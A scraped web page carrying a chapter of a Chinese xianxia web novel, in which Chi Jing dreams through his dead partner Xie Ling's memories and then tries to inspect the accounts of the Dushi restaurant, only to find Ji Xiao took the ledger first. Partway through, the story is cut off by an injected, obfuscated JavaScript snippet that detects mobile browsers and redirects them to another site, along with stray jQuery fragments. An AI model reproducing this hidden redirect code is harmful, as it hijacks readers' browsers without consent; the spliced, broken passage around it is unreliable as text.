默认冷灰
24号文字
方正启体

12.不破不立破而后立3

作者:诉星本书字数:K更新时间:
    “你说这两天吗?唔……没空发呆,就没什么幻觉了。”迟镜答道。


    谢陵问起的,是他的老毛病。


    迟镜大概是在临仙一念宗见多了修士,看人们御剑飞天,总是心不在焉,以为自己也行。偏偏他喜欢看窗外风景,有时恍惚久了,推开窗便往下跳。


    甚至在路边摊买东西的时候,偶有马车失衡,朝他翻来,迟镜也不记得躲避,下意识伸手。好像凭他的血肉之躯,能挡千钧一般。


    要不是季逍时刻盯着护着,迟镜已死了八百回。


    谢陵缓缓抚摸他的后脑,将湿发捋顺,说:“或许,阿迟真的可以做到。只是你忘记了,应该如何去做。来日方长,你总有记起来的一天。”


    “可我是废灵根,注定当一辈子凡人嘛。”迟镜本来便身心俱疲,被他顺毛顺得昏昏欲睡,听闻此言,仍觉好笑。


    他低低地自嘲,“修仙不如睡大觉……”


    少年打了个呵欠。温泉把筋骨泡软之后,他紧绷的心弦也放松了。


    压抑情绪得到释放,他不自觉地往下沉,被谢陵揽住,带往岸边。


    水下有石椅可坐,迟镜抬臂置于岸上,枕着脑袋。谢陵守在他身旁,说:“我一直想起,与你结侣的场景。”


    迟镜不由自主地合上眼,许久才似梦呓一般,喃喃应道:“我也是。我这辈子……就是从那天开始的。”


    他睡着了。


    迟镜做了一个梦,一个很长、很乱的梦。


    或许是和谢陵的亡魂纠缠太深的缘故,残念交感,让他梦到了许多道侣生前的画面。


    甚至从谢陵遥远的少年时开始,迟镜从未面见的人和事,在梦中逐一复现,栩栩如生。


    “小友,你命理殊异,骨骼清奇,乃百年难得一遇的剑道天才。”


    一位老者坐在山石上,击节赞叹。周围芳草萋萋,竹林飒飒,仿佛在临仙一念宗,又好似只在此山中,云深不知处。


    “师兄,你年纪轻轻就有如此修为,前途不可限量呀。”


    一名穿着青白冠服的弟子刚和谢陵切磋完,虽然被揍得灰头土脸,但难掩兴奋之情。细看之下,他面貌模糊,可能在谢陵的记忆里,相似的师弟太多太多。


    “仙长,多谢救命之恩!要不是你,咱们村全完蛋啦!”


    一个扎麻花辫的姑娘按着弟妹鞠躬,连连道谢。她身后是一座山村,村民们手提鸡鸭鱼肉,心有余悸地奉上。他们一辈子走不出大山,却遭妖物作祟,正当叫天天不应、叫地地不灵时,一袭玄衣从天而降。


    迟镜体会着谢陵的视角,朦胧间,似与他融为一体。过往的碎片像走马灯旋转,“小友”、“师兄”、“仙长”逐渐稀少,取而代之的,是一声声“道君”。


    七百年修仙生涯,说长不长,说短不短。无非是日复一日的闭关修行,年复一年的除魔卫道。在这些画面中,迟镜不曾见自己一次。


    他的自知之明没错,谢陵身为伏妄道君,哪会把他放在心上。回顾一生,迟镜这个除了乖巧好看、没有其他优点的道侣,不值一提。


    下一刻静水生澜,古井泛波,梦境隐隐有崩裂之势。


    原来天边已有雷动,劫难迫在眉睫。


    电光狂舞,雷声轰鸣。迟镜也真真切切地感受了一遭,万钧雷霆压顶。


    可他,或者说谢陵,不退反进。仙人展袖,剑指苍天,在雷劫贯彻天地的前一刻,迟镜猛然惊醒,跌出了记忆的洪流。


    太真实了。


    梦境里所有的人,似曾相识,所有的事,感同身受。迟镜呼吸急促,紧紧地捂着胸口,心脏却承受不了更多,即将跳出喉咙。


    足足过了一刻钟,他才从天灵盖发麻的感觉中缓过来。手一动,摸到了锦被,迟镜立即攥住被角,揪到怀里,抱着它一点点躺下去。


    身下是暖阁的拔步床。


    少年蜷缩身子,慢慢地平复吐息。


    谢陵送他回来的吗?道侣的亡魂在续缘峰里,还是有些手段的。


    迟镜神思恍惚,想起最重要的事情,急忙一摸腰间。


    产业文契不见了!


    他倒抽一口凉气,登时把怪梦抛到了九霄云外,下地去找烛台。幸好,待鲛烛的光芒充盈室内,迟镜在书案上看见了整整齐齐的衣袍、罩纱、暗器、卷轴。


    虽然身边无人,但迟镜愣了一下,还是认真说了句“谢谢”。如果谢陵在看着,应该可以听到。


    烛火摇曳,似作应答。


    迟镜迅速地穿戴整齐,感觉腰不酸了、腿不痛了,精神抖擞,花海温泉大概有特殊的疗养功效。


    他出门走进风雪夜,不再需要白鹤氅。红袍外的罩纱光华潋滟,抵御了所有寒气,更显得他面如薄雪,貌若新月。


    迟镜来到谈笑宫,思量片刻,没去找常情。


    其实他该问问,秘境招亲的规则怎样、入境的话要不要做点准备、季逍到底什么来头。但这些都没钱重要,他已经在温泉里耽误太久了。


    迟镜攥着文契,转头走下了山。


    —


    独石酒楼,是燕山郡头号响亮的招牌。纵观十里长街,尽是青砖围墙,每隔百丈,便有角门开立,四方大门更是阔气,可容六台车马并驾齐驱。


    南大门上,挂着整块儿一人长的匾额,黄花梨木,华带镶边,上书笔走龙蛇的朱漆大字,据说是某位临仙一念宗长老的墨宝。


    虽然临仙一念宗并无长老这一职位,但丝毫不损独石酒楼的名气,更不影响它日进斗金。平民百姓从旁过,远观其张灯结彩、翘角飞檐,达官显贵竞豪奢,筵席上觥筹交错、推杯换盏。


    “独石”二字,本源于燕山的险关独石口。酒楼越办越旺后,人们则以谐音调侃,称来此用膳是“吃独食”。


    迟镜以前来这儿,皆被奉为座上宾。


    他有一间专属包厢,在酒楼园林的东北角,贵客独享的碧瓦楼三层。


    可他今天一个人到访,没有刻着临仙一念宗门徽的车队,乘着一辆租用的小马车,差点进不去。


    这么穷酸的车驾是不能走大门的,只能从角门下车步行。小厮扯住马嚼头,迟镜不得不撩起车帘露面,赶在其惊呼前,催着车夫,一溜烟驶入


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119178|163803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门中。


    独石酒楼里,移步换景。迟镜没空细瞧,匆匆前往包厢。


    他披了一件斗篷,宽大的兜帽挡住半张脸。饶是如此,还是有不少过路人惊鸿一瞥,恍惚间觉得见过他。


    幸好,碧瓦楼的侍从见过世面,也知道临仙一念宗刚出了大事。听了迟镜的吩咐后,一个叫挽香的姑娘找来酒楼掌柜。


    迟镜开门见山,把卷轴一放,说:“我道侣名下所有的田产、商铺、宅舍,相关的文契全部在此。独石酒楼五年前被他买下,现在他……”


    迟镜顿了顿,道:“我来看看酒楼经营得如何。文契上说,商铺的收支由你总管,我不清楚具体怎么办的,先生跟我讲讲吧。”


    掌柜擦了擦虚汗,道:“公子来得突然,小的未作准备,不知从何讲起哪。”


    迟镜说:“没事,告诉我钱从哪来、到哪去就行。”


    掌柜嗫嚅道:“兹事体大,小的不敢做主……”


    迟镜奇怪地问:“你不是谢陵委托的商铺总管吗?我是他的道侣,继承他的遗产名正言顺,现在还带着文契,你有什么不敢的?”


    掌柜擦汗更快,道:“您有所不知。往常都是季仙长来查账,您……您突然驾到,又无季仙长随行,我们焉敢相从啊。”


    中年人满怀希望地提议:“公子是贵客,翻账本易使头痛,您金尊玉贵,何苦受那劳累?要不尝尝头牌神厨推出的新菜——采用极简的食材、最少的工艺,清水出芙蓉、天然去雕饰,保留着初秋莲藕的天地灵气、日月精华、原汁原味!免费请您试吃。”


    迟镜:“白灼还是清蒸啊?”


    掌柜干笑道:“焯水……”


    迟镜白了他一眼,说:“怎么不让我自己去湖里挖。”


    掌柜陪着笑,难掩惶恐。


    迟镜明白,这人说到底也是办事的,不是管事的,为难他没结果。


    真正可恨的是季逍——怎么又是季逍。


    这厮一直代管道君产业,管得很好,就算没有文契在手,也让诸多下人心服口服。


    至于迟镜,即便拿着合乎法令的文契过来,也跟二世祖偷了老爹私印一般,没人敢让他插手事务。


    迟镜不怪他们,只怪自己绣花枕头的形象太过深入人心了。酒楼伙计对他抱有警惕,才是对产业负责。


    他想到这又很高兴,道:“我不干什么,只是想看账本,也不行吗?我保证不多写一笔一画,这你总能答应吧。文契都验过了,如假包换的呀。”


    他不能白跑一趟,决定核对一下文契和账本的记数,看季逍有没有暗中转移财产。看不出来没关系,万事开头难,他得先开头。


    然而,掌柜见糊弄不过去,终于讲了实话:“公子,恕小的无能。其实早在三天以前,便有人来过,已经把总账取走了。您想查阅的话,请去找那人,他一定对您言听计从!”


    迟镜:“……”


    迟镜保持着神色不变,笑容温良地说:“你别告诉我,这个人是季逍。”


    掌柜喜出望外:“公子您神机妙算啊,此人正是季仙长!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)